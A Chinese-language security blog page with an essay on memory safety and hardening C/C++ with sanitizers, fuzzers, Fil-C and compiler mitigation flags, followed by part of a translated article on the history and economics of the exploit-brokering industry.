Hardened GNU/Linux

不可避免的内存安全（Memory Safety）之路

Wed, 07 May 2025 00:00:00 +0000

背景

Memory safety 近年来成为热门话题。但在讨论“memory safety”时，我们需要先明确究竟在探讨什么、追求什么目标。你是在关注通过编译器完成静态分析（如 Clang Static Analyzer、rustc 等）来在编译阶段捕获潜在问题，还是更信任编译器让代码顺利编译，通过运行时机制（比如 Go 或 Java 中的垃圾回收）来解决所有问题？或者，你仅仅关注于安全加固的最终目标——即防止系统遭受攻击？内存安全问题的复杂性正反映了安全领域的本质：安全是一门交叉学科，融合了计算机科学和复杂性理论，这使得要完全掌控其复杂性变得异常困难。因此，企图通过单一或者几种 “memory-safe language” 重写现有软件，从而彻底杜绝所有安全隐患，并非现实可行的方案。

一门编程语言在设计时可能就倾向于提供内存安全机制，例如自动垃圾回收、数组边界检查等，这些机制在规范层面上勾画了一个理想状态。但在现实中，不同的实现者会出于需求和性能指标的考虑采取不同的策略。例如，虽然 Lisp 通常配备垃圾回收机制、支持灵活的数据操作和动态类型系统，但这并不意味着所有 Lisp 解释器都能完全消除内存安全问题。如果由于特定需求或追求性能而对部分安全检查作出妥协，那么内存越界或非法指针访问等安全隐患依然有可能出现。

同样，C/C++ 被长期视为“不安全”的语言，因为它允许程序员直接操作内存和执行指针运算。然而，通过严谨的工程化手段（如静态分析工具、严格的代码审查、运行时检测机制等），使得 C/C++ 在特定环境下无限接近无 Bug 状态也是可能的。本文将以 HardenedLinux 过去数十年中在对抗系统复杂性、提升内存安全方面的一些做法为背景进行探讨。总体来看，内存安全不仅关乎编译器或运行时单一环节的责任，而是需要在语言设计、工具支持、工程实践等多方面协同努力，以实现最终“系统不被攻陷”的安全目标。本文不涉足强制访问控制，沙箱，Linux内核加固等议题。

为生产环境选择GNU/Linux发行版

Hardened Linux 的早期成员都拥有商业 Linux 发行版的背景，因此我们深知构建一个 GNU/Linux 发行版并不困难。然而，要打造一个长期维护且稳定的发行版，就需要更高的标准。首先，关键的软件和库必须由专业的维护者负责管理。在处理 bug 修复和安全漏洞时，维护者不会轻易地将问题抛给上游版本，而是根据具体情况进行权衡，大部分时间里选择 backports 方案来保留原有特性和稳定性。

正是基于这些考量，Hardened Linux 的最佳实践主要依托于 Debian 发行版，因为在当时，Debian 是唯一一个完全由社区驱动且拥有较高维护水平的发行版社区。一旦确定了基础发行版，其首要挑战便在于如何应对“memory unsafe”语言（如 C/C++）开发的应用程序和依赖库中存在的质量与安全隐患问题。在 sanitizers 和 fuzzers 广泛普及之前，大规模的 bug hunting 通常需要投入巨大的人工成本。然而，现如今，仅依靠启用 sanitizers 并执行常规回归测试就能够在 QA 流程中有效发现大部分问题；进一步来说，还可以引入口径广泛的 fuzzing 测试，以更全面地捕获潜在漏洞。即使对于GNU/Linux发行版级别的QA同样可采用这种方法，只有少量无法被sanitized的组件比如编译器和C runtime（glibc/musl/etc)。

此外，我们花费了多年时间构建基于状态的 Linux kernel fuzzer，并于 2020 年在 Google Syzkaller 上游贡献了 coverage filter 特性。这或许是来自亚洲开源社区为数不多的具有重大影响力的功能之一。模糊测试结合 sanitizer 的技术路线，是一种典型的增强内存安全的方案。以 Linux 内核为例，不同的用户场景对内核子系统的依赖各不相同：存储服务器更加依赖于文件系统，而网络服务器则更侧重于网络协议栈。后来被称为VaultFuzzer的基于状态模型的模糊测试工具——支持对特定目标系统进行压力测试。举例来说，在配备 32 核 CPU 和 64GB 内存的条件下，仅需 20 小时左右，就可以使主要网络协议实现部分的代码覆盖率达到约 72%。当然，有人可能会质疑，剩余 28% 的代码区域依然存在内存安全风险。对此，我们的思路是采用整体安全架构设计，例如内核层面的 runtime mitigation 措施，来进一步弥补这一缺口。马上将会讨论这一问题。

从Exploitability到memory safety方案

一个漏洞的全生命周期通常包括以下阶段：

找到 bug，并评估其是否可用于攻击
若被评估为 exploitable，则确认其为漏洞，并编写 PoC（Proof of Concept）
对 PoC 进行适配，使其成为一个稳定的 exploit
数字军火商将其整合到 weaponized framework 中

在 QA 工程师寻找 bug 的过程中，其使用的工具和流程（例如 fuzzer + sanitizer）与安全研究人员颇为相似。不过，从安全研究人员的视角来看，一个漏洞利用过程一般可分为以下三个阶段：

前漏洞利用阶段（Bug 触发）
漏洞利用阶段
后漏洞利用阶段（如植入 rootkit）

其中，Bug 触发过程被视作前漏洞利用阶段。从自由开源软件项目的角度，这一阶段的问题都应该被 QA 流程处理。那么，除了常用的 sanitizer 与 fuzzer，还有哪些方法能在这一阶段对漏洞进行检测呢？这正是我们为之振奋的开源项目 Fil-C 的价值所在。Fil-C 是由 Epic Games 开发的一套针对 C/C++ 的 memory safe 方案，其方法较为激进。Fil-C 定制了 Clang/LLVM 编译器，并对编译器相关库进行改进，以便更好地实现各类转换 (passes) 和 C 运行时（例如 musl）的支持；同时，部分库和应用也需要进行少量代码适配。从这一系列测试程序：

Bug type	Sanitizers	Fil-C	Clang bounds-safety
0-out-of-bounds-access.c	YES (ASAN)	NO	NO
2-out-of-bounds-access.c	YES (ASAN)	YES	NO
3-out-of-bounds-in-bounds.c	YES (ASAN)	YES	NO
1-overflowing-out-of-bounds.c	NO (ASAN)	YES	N/A
4-bad-syscall.c	NO (ASAN)	YES	N/A
5-type-confusion.c	NO (ASAN)	YES	N/A
6-use-after-free.c	YES (ASAN)	YES	N/A
7-pointer-races.c	YES (ASAN/TSAN)	Partially	N/A
8-data-races.c	YES (TSAN)	NO	N/A

通过对比 Fil-C 与常规 sanitizer 的检测效果可以看出：虽然 Fil-C 不能解决所有问题，但从 exploitability 的角度来看，其成功实现了 memory safe C/C++，使得常见的漏洞失去了威胁。更有趣的是，Fil-C不仅可以帮助你找出问题，你甚至可以用其编译一些重要的组件作为独立的运行时（或许下一代Epic game的游戏中会有体现？），当然目前Fil-C的性能和工程化还无法达到通用的地步，但这是一个非常值得关注的方向。

Exploit vs. Mitigation

既然已经讨论了漏洞挖掘（bug hunting）的过程，那么额外探讨下 mitigation 也是非常必要的。如果依赖于 sanitizer+fuzzer 的模式并不能找出所有 bug，而目标程序由于性能考量又无法采用像 Fil-C 这样的 memory safe C/C++ 方案，那么可以考虑由编译器和 C runtime library 提供的一系列 mitigation 技术作为补充。

这些 mitigation 技术既包含硬件层面的实现（如 NX、CET、BTI 等），也涵盖大量的软件实现。不要小看这类软件层面的保护措施：在关键时刻，它们往往能发挥重要作用，虽然2007年的Attacking the CORE已经转向内核，但无数的案例表明即使用户空间程序也是需要它们的，近期一篇关于 ret2 的 write-up 就介绍了如何在 Pwn2Own Ireland 2024 大赛上，针对 Synology DiskStation DS1823xs+ 的 RCE 远程利用进行漏洞利用构造。如果 Synology 的安全团队仅通过简单开启 FULL RELRO 和 CFI，那么防御体系将更加完善，漏洞利用的难度也会大大增加，故事的结局可能完全不同。我们常用的mitigation列表：

Bug type	Sanitizers
Stack canary	-fstack-protector-*
Shadow stack	-mshstk (GCC), -fsanitize=safe-stack (CLANG)
Fortified source	-D_FORTIFY_SOURCE=3
Full ASLR with PIE	-pie
Control flow integrity	x86: -fcf-protection=, arm64: -mbranch-protection=, SW
Relocation only	-Wl,-z,now
Bounds check	-XClang -fexperimental-bounds-safety (CLANG)

Call for action

在过去几年中，与开源开发者甚至安全研究人员交流时，我曾多次听到这样的质疑：Google试图通过漏洞挖掘（bug hunting）来提前发现漏洞，但依然有不少问题漏网而出；既然如此，我们是不是应该用内存安全语言重写软件和库？这种观点乍看起来似乎有一定道理，但其实它与其他事实相悖。几个月前，我与一位南欧的安全工程师交流时，他向我抱怨某个与硬件安全模块（HSM）相关的开源密码学组件竟然存在“段错误”漏洞。出于疑惑，我问他难道在调试或测试版本中没有启用sanitizer吗？遗憾的是，我们确认了这个库确实没有集成sanitizer。请不要轻易猜测：这个库不是OpenSSL，而OpenSSL早已集成了sanitizer，并且确保所有回归测试都通过。回到“如果连Google都没解决这类问题，那我们就必须重写”的论调，就显得有问题。如果从0ldsk00l hacker和cypherpunks的语境来看，个体都应该拥有self-soverignty，难道仅仅因为Google没有解决所有问题，我们就可以忽视这些问题？绝对不能，你需要亲自修复问题，这不仅能为你自己带来好处，也会惠及整个社区。

因此，我在此呼吁所有自由开源软件的开发者：请在调试和测试版本中至少加入sanitizer编译选项。如果大家都能这样做，这将成为让世界变得更安全的最低成本方案。

重写软件

使用memory safe language重写软件和库是成本高昂的事情，如果你经过深思熟虑后决定要这么干，请考虑用Lisp/Scheme来重写。

引用

CC Bounds Checking Example https://williambader.com/bounds/example.html

The Fil-C Manifesto: Garbage In, Memory Safety Out! https://github.com/pizlonator/llvm-project-deluge/blob/deluge/Manifesto.md https://github.com/pizlonator/llvm-project-deluge/blob/deluge/invisicaps_by_example.md

Exploiting the Synology DiskStation with Null-byte Writes: Achieving remote code execution as root on the Synology DS1823xs+ NAS https://blog.ret2.io/2025/04/23/pwn2own-soho-2024-diskstation/

memory-safety-coverage-test https://github.com/hardenedlinux/memory-safety-coverage-test

Technical analysis of syzkaller based fuzzers: It’s not about VaultFuzzer! https://hardenedvault.net/blog/2022-08-07-state-based-fuzzer-update/

数字军火行业的兴衰及调整 - 趋势与更新

Fri, 21 Jul 2023 00:00:00 +0000

作者：Maor Shwartz

原文：https://medium.com/@maor_s/the-boom-the-bust-and-the-adjust-ea443a120c6

译者：Vault Labs

译者序：上一篇文章简单的介绍了0-day数字军火行业，这篇<数字军火行业的兴衰及调整 - 趋势与更新>详细的总结了数字军火行业的历史以及现状，我们认为这篇文章不仅可以让公众有机会了解数字军火行业，更重要的是可以给安全工程师，安全分析师，CISO（首席安全官）和其他机构决策者一个参考，在赛博世界中，武器化漏洞利用是攻击者的破局之道，而对于防御的一方来说只有理解了武器化漏洞利用和数字军火行业才能更好的打造属于自身的赛博堡垒，从入行安全到 HardenedLinux 再到 HardenedVault，我们经历了 0ldsk00l 黑客的 “Hacking for fun and profit” 到不可避免的 ”This is cyber, sir!” 网络战年代，这些历史或多或少都在这篇文章中有所提及，不论什么时代性的背景，我们都应该谦卑，这样至少在面对 The Desert of the Real 时降低看花眼的概率。

简介

2019年，我有机会在BlackHat USA¹上发表演讲，试图回答“研究人员如何与数字军火行业互动”的问题。

四年后，数字军火行业经历了重大变革，重塑了这个行业。我认为现在是时候讨论导致我们今天的趋势和事件了。

在本文中，我将分析数字军火行业随着时间的推移而发生的商业案例变化。

如果你对数字军火行业的历史不太感兴趣，想要了解当前的趋势和事件，请跳到“调整（2022+）——清算所的崛起和行业供应链的重塑”一节。

*值得一提的是，本文反映了我在行业中的个人经验。根据与同行业同事和行业人士的交谈，他们有着类似的经历。

**如果你是政府特工、研究人员或政府机构的一部分，请特别注意“行动呼吁”部分。

关于我

我已经在数字军火行业工作了七年多了（顺便提一下，数字军火行业已经有大约20年的历史了）。从供应链（漏洞/研究人员）的角度来看，我的职责包括帮助研究人员、公司、研究团队、经纪人和政府在数字军火行业中导航。

Twitter: https://twitter.com/malltos92

* 框架
* 厂商
* 从社区向行业的转变
* 繁荣期（2017-2019年）——“牛市中每个人都是天才”
* 萧条期（2020-2021年）——“只有退潮时，你才会知道谁在裸泳。”
* 调整期（2022年及以后）——“清算所”的崛起和行业供应链的重塑
* 行动呼吁
* 结论
* 脚注

框架

我们可以将数字军火行业的时间线分为三个主要阶段，这基于该行业经历的事件和趋势：

在每个阶段，我将分析以下每个实体是如何影响其他实体的：

* 供应链：研究人员，研究小组和漏洞。
* 一条龙公司：提供感染（即漏洞）目标并安装代理（即恶意软件）收集选定设备数据的一条龙服务的公司。
* 经纪人：买家、一条龙公司、政府、清算机构和卖家之间的中介。
* 清算机构：稍后将在本文中解释这个。
* 政府：运营攻击性网络能力的任何政府组织。

但在我们深入不同阶段之前，有一个主要的驱动力推动了变化 - 厂商。

厂商

多年来，厂商（即 Apple，Google，Microsoft 等）投入了大量资源使他们的产品更安全。他们通过引入新的缓解措施，芯片组，修复漏洞，雇佣一流的安全研究人员，创建漏洞赏金计划等来实现这一目标。

对于不熟悉数字军火行业的人来说，值得一提的是，政府和一条龙公司最喜欢的感染途径是从浏览器开始，使用远程代码执行（RCE）并将其与本地特权升级（LPE）结合，以控制设备本身。这种趋势在2017年之前尤为突出。

导致最喜欢的感染途径是从浏览器的主要原因之一是，获得批准访问目标设备上的数据比非法访问属于第三方但并非直接目标的服务器更容易。

厂商如何投资其安全性的一个很好的例子是 Apple。Apple 实施了一种“纵深防御策略”，他们理解只要有代码，产品/软件中就会存在漏洞。

因此，Apple 决定创建防御措施和缓解措施的层（即“纵深防御”），使得利用阶段更为困难。这迫使攻击者找到多个漏洞并将它们链接在一起，同时 Apple 不断更改代码使漏洞变得无关紧要。

Apple 随着时间的推移引入新的缓解措施，缩小了从浏览器可用的攻击面。他们创建了一个强大的沙箱环境，将功能分配给新的芯片组等。

起初，这些新的缓解措施并未被认为是漏洞研究人员的重大障碍。但是随着时间的推移，随着技术的成熟和安全团队的学习和改进这些缓解措施和技术，漏洞研究方面的事情开始变得更加复杂。

在这里，我们可以看到Apple（iOS）引入新的缓解措施的大致时间线，以及他们何时成为问题（填充形状）研究人员需要找到新的漏洞或技术来克服它们。

除了实施新的缓解措施之外，将不同的漏洞连接在一起以获取“完整链路”（即允许攻击者以提升的权限感染目标机器的完整组件载体）变得越来越困难。

这些努力的最终结果将我们从需要两个漏洞来控制目标设备转变为许多漏洞和利用技术链接在一起形成一个平面的链路。

Android已经实施了类似于iOS中存在的安全措施。两者之间存在一些值得一提的差异。主要的区别在于，Android 是一个分散的市场（OEM厂商），因此更难在设备的内核方面进行控制（即上游LPE或芯片特定的LPE）。

因此，谷歌明白他们主要需要关注OEM厂商的关系——让像三星这样的厂商尽快实施和发布安全更新，并保护 Chrome 的安全。

从社区到工业化的转变

在这一部分，我想介绍一下从社区到工业化的转变是如何发生的，以及社区面临了什么挑战。

监管和媒体（新闻）报道

监管：几乎没有关于出口漏洞的法规。一些国家（如以色列）将漏洞纳入“出口知识”的出口管制法律中，但大多数国家只是开始讨论“入侵软件”（即恶意软件），而不是漏洞。

媒体（新闻）报道：几乎没有有关进数字军火的新闻文章，包括什么是它，它能做什么等等。

供应链

在我之前发布的文章中，讨论了行业中的事件和趋势，我提到了一般来说，数字军火行业中有四种类型的研究人员：

* 一级：能够完成漏洞挖掘和编写0-day漏洞利用的研究者
* 二级：能够挖掘0-day漏洞或编写漏洞利用的研究者
* 三级：能够对现有漏洞利用进行维护工作的研究人员
* 四级：赌徒

所有研究人员生而平等吗？

供应链在行业开始发展时扮演了重要角色。在开始时，漏洞研究人员被认为是稀缺的商品，任何在这个领域有经验的研究人员都被视为一级研究人员。

行业根本不知道如何评价这些研究人员。原因是行业不了解更好的方法。这是一个新兴行业，只有少数人知道成为漏洞研究人员意味着什么。

尽管在行业的早期阶段（即2008-2009年），有研究人员专注于特定目标，被认为是“浏览器专家”或“内核专家”等等，但是对研究人员的需求很高，而且无论这个人在 Web、操作系统或浏览器哪方面有经验都没有关系。

人们相信，如果你在一个领域有经验，你可以很容易地转向其他目标。事实上，转向是可能的，但是需要相当长的时间（从6个月到几年），才能提高研究能力，在这段时间内，研究人员并不会在漏洞挖掘或漏洞利用方面有生产力。

另一个原因是“街头信用”。这意味着“我在 X 部队服役过”、“我在这里那里发现了漏洞”、“我在这里那里玩 CTF”、“我认识这个人和那个人，我们过去曾黑掉过 XYZ”等等。

出售漏洞

研究人员面临的众多问题之一是找到如何以及向谁出售他们发现的漏洞。客户（即政府和一条龙服务的公司）和供应端（即研究人员）都不想因为做这样的生意而出名。常见的问题包括“我怎么知道我能信任你？”或“我怎么知道你是你所说的那个人？”。

迄今为止销售的大多数漏洞和利用程序都是以概念证明（PoC）的形式出售的。研究人员提供代码，允许触发漏洞，并且通常 PoC 攻击程序的可靠性值得怀疑，而且 PoC 只适用于特定的操作系统版本/设备。

购买此类项目的客户需要花费大量时间和资源将PoC开发为生产就绪的利用程序。在某些情况下，被出售的漏洞只提供某些类型的基本元素，客户需要继续进行研究，以达到最终目标（即代码执行）。

拥有生产就绪的利用程序意味着什么？

我将引用 Vigilant Labs 的 Mark Dowd 在 BlueHat 2023活动中的话：

* 它必须能够正常工作并且工作可靠
* 应该在不利条件下工作
* 没有明显的副作用（设备锁定、视觉效果等）¹⁹
* 执行需要继续，就好像什么都没有发生一样

此外，由于销售方被告知（内部或公开）而被修补掉，能力（即漏洞、技术、基本元素等）通常在开发期间得到修补。

研究人员面临的另一个问题是评估其发现的公平市场价格并结构化付款协议（这些是我在 2019 年 BlackHat USA 演讲中涵盖的内容）。

经纪人

经纪人在发展中的行业中扮演了重要角色，作为交易的促成者。经纪人了解客户（或至少在积极寻找客户），并且他们拥有想要出售漏洞的研究人员的网络。

经纪人必须建立基于信任的亲密关系，与客户和研究人员都是如此。这种关系是至关重要的，因为交易的性质如此。

简单来说，在同意条款和条件并签署合同后，研究人员需要将漏洞发送给经纪人，然后经纪人将其发送给客户进行验证。只有在验证过程之后，研究人员才会得到付款。

因此，可以想象，当您把价值数十万美元的漏洞发给经纪人时，您需要信任经纪人。

对于经纪人来说，他们喜欢成为守门人，因为他们可以在不需要自己找到漏洞的情况下在交易中分得一杯羹，并保持客户和研究人员的隔离。客户不知道漏洞的来源，研究人员不知道客户的身份。

一条龙公司

最初，只有少数知名公司与市场互动以雇用研究人员，了解存在哪些漏洞。只有一小部分公司从市场购买漏洞。

其中一个原因是公司内部的研究团队很容易找到并维护完整的链路。当内部研究团队在特定目标上遇到困难时，公司将与市场互动，试图填补链中的空缺。

一些公司仅在后期从市场购买漏洞和漏洞利用，并且他们必须追赶市场参与者、流程和价格。

政府

在2017年左右，只有少数几个政府作为买家活跃在市场上，通常是以壳公司监测市场趋势、漏洞和漏洞利用。

会议

会议是从社区向产业转型的加速器之一。会议是研究人员、经纪人、一条龙公司和政府代表相遇并建立关系的地方。

繁荣期（2017-2019）-“牛市中每个人都是天才”

这一阶段的主要特征是增长。从极度保密的社区到价值数十亿美元的产业。

一条龙公司

增长的主要推动力是一条龙公司。一条龙公司在教育政府有关数字军火能力的重要性方面做得非常出色，并为政府提供了掌握这些工具的重要性。此外，一条龙公司通过包括先前无法获得这种技术的国家来扩大了可寻址市场。

随着数字军火概念变得普及，政府对此类产品和服务产生了兴趣，特别是那些无法自主开发这些能力的政府。因此，一条龙公司开始在各地涌现。

“十年前，只有几家公司。现在有20多家公司，在世界各地的贸易展上积极推销他们的产品。”伦敦数据权利法律事务所和咨询机构 AWO 的主管埃里克·金德（Eric Kind）说道。

新公司提供了各种不同的感染目标设备的方法-从服务器、PC、IoT、移动设备、浏览器等等。

随着更多公司进入该行业，资金流入也相应增加（来自投资、贷款等）。对于公司而言，任何一条龙公司的核心都是支持业务的漏洞，因此也就产生了研究人员。

对于研究人员（一种稀缺商品）的竞争加剧，公司试图通过以下方式来雇佣研究人员：加入内部研究团队、从市场购买漏洞和攻击程序，以及以有偿的研发或独家格式与供应链（即研究人员和研究组）合作。

雇佣研究人员加入内部研究团队：公司提供高额的薪酬、奖金以及研究人员想要的任何东西（包括更靠近家的办公室、假期、音乐会等），只为了让他们为自己工作。

公司聘请各种熟练程度的研究人员（Tier 1-4），并认为聘请的研究人员越多，找到黄金的可能性就越大。

供应链：与行业互动，特别是从市场购买漏洞，由于公司、研究人员和经纪人开始公开工作，变得更加容易（不像“从社区向产业转型”阶段）。

一条龙公司为从市场购买漏洞和雇佣研究人员分配了“无限”的预算。繁荣期的另一个特征是，公司相对容易实现服务水平协议（SLA）。

服务水平协议（SLA）-附注

SLA规定了服务期限的条款和条件，包括但不限于：服务质量、服务可用性、支持请求的响应时间和其他相关因素。

在数字军火行业中，SLA 意味着该公司具备感染并在目标设备上安装代理的能力。

如果其中一个能力（即感染目标并安装代理的漏洞链）处于离线状态（即漏洞已被修补，厂商更改了代码导致攻击程序失效，厂商发布了新版本，公司需要调整攻击程序以适应新版本）- SLA 规定公司具有一定的允许时间来恢复漏洞利用的功能（通常为几个月）。

据我所知，由于进口数字军火产品几乎没有任何法规限制，在某些情况下，一条龙公司被用作地缘政治领域的战略工具，因此一条龙公司拥有高利润率。

传统的分包商（即武器制造商）早在2000年代中期就开始提供数字军火能力，成功程度不同，并且只专注于向他们最重要的1-2个客户独家销售此技术。

在某个时间点上，传统的分包商意识到他们也需要进入这个行业（即与一条龙公司竞争）并以商业规模提供类似的能力，主要有两个原因：

* 数字军火是下一个大趋势 - 来自客户的需求。
* 分包商没有参与这个不断增长的行业，他们让竞争对手（即一条龙公司）主导市场（这是一些分包商的主要业务，与政府和情报有关）。

随着越来越多的公司进入数字军火行业，高利润率的未开发市场的故事引起了人们的兴趣，吸引了那些试图参与但手头几乎没有资源的人们——“一次性公司（一条链）”。

“一次性公司”是指围绕某一特定的漏洞链，例如围绕 Android 攻击链条的公司。这些公司具有以下几个特点：

* 非常小的团队，没有内部研究团队或非常小的团队。
* 创始人可能只是几个研究人员、经纪人或想要进入市场并设法稳定特定漏洞利用链条的人。
* 提供最小化的代理程序，目标受限，没有长期支持。
* 与成熟公司相比，“一次性公司”的产品价格便宜。

一条龙公司的销售周期

一条龙公司的销售周期很长，从第一次会议到合同签订可能需要几年时间。该过程包括会议、规定批准、演示、概念验证、谈判、部署、问答、合同和审批申请（RFA）等等。

对于一条龙公司来说，销售过程中的第一个真正有价值的步骤是合同执行和审批申请。一旦客户（政府）签署了合同，他们需要通过支付总价款的20-40%的首付款来执行合同。其余的支付在合同寿命内的定义里程碑上支付（包括 RFA）。

审批申请通常涉及客户审查和验证厂商提供的产品或服务，以确保其符合协议中的规定规格和要求。一旦客户满意并批准产品，他们会同意或提供接受，从而允许向一条龙公司支付额外款项。

在大多数情况下，交易的完成得到当地代理人（通常是前将军）的帮助，他们的补偿基于交易的百分比。

不少情况下，合同可能会由一组人（采购）签署，而组织内的另一个组（技术人员）会处理审批申请——导致延迟和长时间的“完成”交易。

在繁荣阶段，我每天都会听到新公司的消息，其中大多数都专注于移动领域。

如前所述，漏洞是任何一条龙公司的核心。每个公司所提供的漏洞利用链条状态都不同，有些公司在 RCE 方面存在短板，有些则是 LPE 等等。

公司所掌握的链条状态的差异导致它们从市场购买缺失的缓解。通过这样做，它们为市场提供了流动性。需求很高，如果你找到了一个漏洞，那么将其出售相对容易。

经纪人

交易的促成者（交易）通过让客户和研究人员保持隔离，享受着守门人的乐趣。随着对漏洞的需求激增以及有关每个漏洞可以出售多少的故事传开，吸引了许多人看到这个新兴市场作为经纪人的机会。

经纪人不需要理解漏洞的技术细节，也不需要承担责任，也不需要资金来开展业务。因此，一波新的经纪人开始在市场上运作（类似于一条龙公司的数量）。

新的经纪人来自各种背景：

* 前研究人员/研究人员
* 与潜在买家有联系的人
* 没有数字军火市场或网络背景的人

随着更多的经纪人开始在市场上运作，研究人员的竞争变得激烈，经纪人会尽一切努力确保研究人员与他们合作而不是与竞争对手合作。他们会请他们吃饭、参加派对等等。

经纪人试图从各种能力中“确保”研究人员（即确保研究人员在找到新漏洞时首先联系他们）——因为在繁荣阶段，需求很高（操作系统、虚拟化、电子邮件、托管、移动、物联网、网站等）。

经纪人拥有的好处之一是可以从市场获得漏洞和利用程序。其中一些人开设了一条龙公司——如前所述的“一次性公司”。

供应方

研究人员是焦点。研究人员可以选择被一条龙公司雇佣，或独立寻找漏洞并承担风险（和回报）。

研究人员受到经纪人、其他研究人员和一条龙公司的追逐。

个人研究人员可以相对轻松地找到并出售漏洞或利用程序。少数研究人员组成了团队。这意味着相对容易找到和出售高价值的漏洞。

研究人员在各种产品和服务中提供漏洞，例如操作系统、虚拟化、电子邮件、托管、移动、物联网、网站等等——而这些漏洞和利用程序的需求很高。

低级别的研究人员（回顾起来）基于“街头信用”被一条龙公司雇佣，而具有漏洞研究经验但不符合公司重点的研究人员也被雇佣，因为人们相信他们可以迅速适应公司的需求。

政府

政府通过壳公司、一条龙公司（因为它们是监管机构）和经纪人与市场互动。一些有很多钱的知名国家也进入了市场。

政府在该行业的主要活动集中在三个方面：

* 购买一条龙解决方案：在与一条龙公司打交道时，政府开始意识到，在表面上，公司的提供非常相似。因此，价格是政府选择一家公司而不选择另一家公司的主要动机。
* 大力投资培训：试图减少对一条龙公司的依赖，并在内部开发能力。
* 购买各种漏洞和利用程序：Web、虚拟化、电子邮件、托管主机、移动端等等。

萧条期（2020-2021）- “只有退潮时，你才会知道谁在裸泳。”

这个阶段的特点是整个行业受到来自厂商、监管、媒体报道等方面的下行压力。

监管

随着政府越来越意识到数字军火的全部潜力，以及潜在的滥用可能性，他们开始加强对出口此类产品和知识（即漏洞和利用程序）的监管。

新的监管规定限制了一条龙公司在未经监管机构批准的情况下在某些地区或国家营销和销售其产品。此外，政府首次制定了漏洞和利用程序出口方面的政策并颁布法律。

政府将经纪人和一条龙公司都视为风险，并因此将其中一些列入了制裁名单。

此外，厂商也不再袖手旁观，对违反其条款和条件的一条龙公司提起诉讼，声称某些一条龙公司必须使用公司（即厂商）的基础设施才能对目标设备执行利用程序。

媒体（新闻）报道

随着全球政府开始滥用数字军火能力，新闻记者们没有保持沉默。结果，记者揭露了一条龙公司、它们的客户、运营等等。

本文后面将会看到这些报道的后果。

一条龙公司

随着一条龙公司面临着日益严格的监管、新闻记者揭露公司的行为和技术滥用、诉讼、制裁以及厂商加强其产品的安全性，一条龙公司不得不面对更多的挑战：

* 投标竞争
* 服务级别协议（SLA）
* 内部研究团队
* 漏洞被发现
* 收入来源和监管
* COVID-19 的经济影响
* 漏洞价格上涨

这些挑战导致了财务困境，最终使公司破产或转向非数字军火领域。

投标竞争

在繁荣期，我告诉你有很多新公司进入了这个行业，它们很难区别自己和其他公司，因为它们最终提供了相同的终极目标。这些公司用来说服客户与他们合作的主要工具之一就是价格。

一条龙公司并没有通过提高服务价格来确保可行性（稍后我将介绍为什么它们的成本增加了而利润率却下降了），而是保持或甚至降低了价格，以便随着时间的推移留住客户。公司之所以能够承受这种策略，一方面是因为低利率环境，另一方面是因为他们明白，如果他们能够留住客户，随着时间的推移（而竞争对手将会破产或转型），他们可以提高价格。

服务级别协议（SLA）

为了履行 SLA，一条龙公司应该有能力在提供的最新组件载体上感染目标，例如在最新的原版 Android 上运行的链条（即 Chrome RCE，Chrome SBX 和 Android LPE）。

这些漏洞链应该：

* 能够正常工作，并且可靠
* 在不良条件下仍能正常工作
* 没有明显的副作用
* 执行需要继续进行，就像什么都没有发生一样

还记得这个吗？

在萧条期，厂商实施的技术和缓解措施达到了成熟阶段，导致一条龙公司无法履行 SLA。

一条龙公司为了维护其 SLA 而苦苦挣扎，导致了三个主要问题：

* 收入收取：一条龙公司面临的困难在于无法让客户感染最新目标，因此难以从客户那里收取付款。
* 客户流失给竞争对手：政府不想因为其当前厂商没有可用的攻击链而延误操作，而其竞争对手则具备这种能力。
* 对内部研究团队施加压力以寻求解决方案：稍后会讨论到这个问题。

内部研究团队

迄今为止销售的大多数漏洞和漏洞利用都是以概念验证（PoC）的形式出现的。因此，内部研究团队不得不将大部分时间投入到将 PoC 开发成“可投产”的攻击链中，这使得他们面临着巨大的维护负担（例如适应不同的设备、版本、场景等），而不是专注于漏洞研究。

当无法履行 SLA 时，一条龙公司的管理层对内部团队和负责从市场采购漏洞的人/团队施加了很大的压力。简而言之，如果内部团队无法提供解决方案，那么公司就无法获得报酬。

根据我与在这些公司担任研究员的朋友和同事的交谈，研究员对管理层持有怨恨是很常见的，因为研究员试图警告他们研究需要时间，如果他们专注于维护工作，每当公司需要漏洞时，启动新的研究项目需要时间，或者需要研究员迅速掌握团队已经在运行的研究项目。

这种压力有两个有趣的结果：

交付成果 VS. 技术技能声誉（也称“街头信用”）：一条龙公司过去习惯于聘请各种研究员（例如三级至四级研究员），认为有更多的研究员就能取得更大的产出（即发现新漏洞）。

实际上，公司发现只有少数研究团队成员能够发现新漏洞并利用它们。 “街头信用”不再是一个因素，而那些在维护工作中努力或无法找到新漏洞的研究员被解雇。

研究员离开一条龙公司：有能力的研究员感到自己肩负了公司的重担，再加上来自管理层的额外压力，决定离开一条龙公司。

在那段时期，整个行业都向他们敞开了大门，竞争对手、经纪人等人通过提供机会，让他们建立自己的公司并利用其宝贵的经验专注于发现漏洞和销售漏洞。

另一个值得一提的有趣因素是，一条龙公司停止聘请新一代研究员，而是将资源用于吸引能够发现漏洞并履行 SLA 的高级研究员。

漏洞利用在野外被捕获

在萧条期，有很多漏洞被发现。这些事件有两个主要的后果：

一条龙公司常常会（无意中）使用相同的漏洞（无论是因为他们购买了相同的漏洞，还是因为两个不同的团队发现了相同的漏洞）。因此，如果一个公司被发现（在利用某一漏洞），其他公司也会受到影响。
厂商会审查攻击面并修补其他一条龙公司正在使用的变体，或者完全无效化攻击面。

收入来源和监管

新的监管规定限制一条龙公司在没有监管机构批准的情况下在某些地区或国家销售和推广产品。

根据我的经验，有几种不同类型的一条龙公司：

* 销售给五眼国家（澳大利亚、加拿大、新西兰、英国和美国）的公司。
* 销售给五眼国家和申根区（23个欧盟国家）的公司。
* 销售给“西方国家”的公司。
* 销售给未列入美国制裁名单的国家的公司。

只有少数几家公司仅销售给五眼国家，大多数一条龙公司属于上述列表中的后两类。

这意味着一条龙公司的核心收入流来自未列入美国制裁名单的国家（即非西方国家）。这些国家没有能力自行开发这种机能。

西方国家拥有内部研究能力，并采购一条龙解决方案。非西方国家和西方国家之间的区别在于，西方国家被认为是“好人”，并且知道有许多公司会热切地寻求他们作为客户。因此，西方国家利用这个优势来协商条款，包括价格，将其降至最低。相反，一条龙公司可以声称与“好人”合作。

重点是，由于监管，公司失去了来自非西方国家的收入来源，而这仍然是它们的主要收入来源。

COVID-19的经济影响

2020年初，COVID-19 成为了国际关注的焦点。各国政府都动用预算和资源来处理这场迅速蔓延到全球的疫情。

由于前方充满不确定性，政府冻结了采购数字军火能力的计划，在某些情况下还推迟了对一条龙公司的付款。

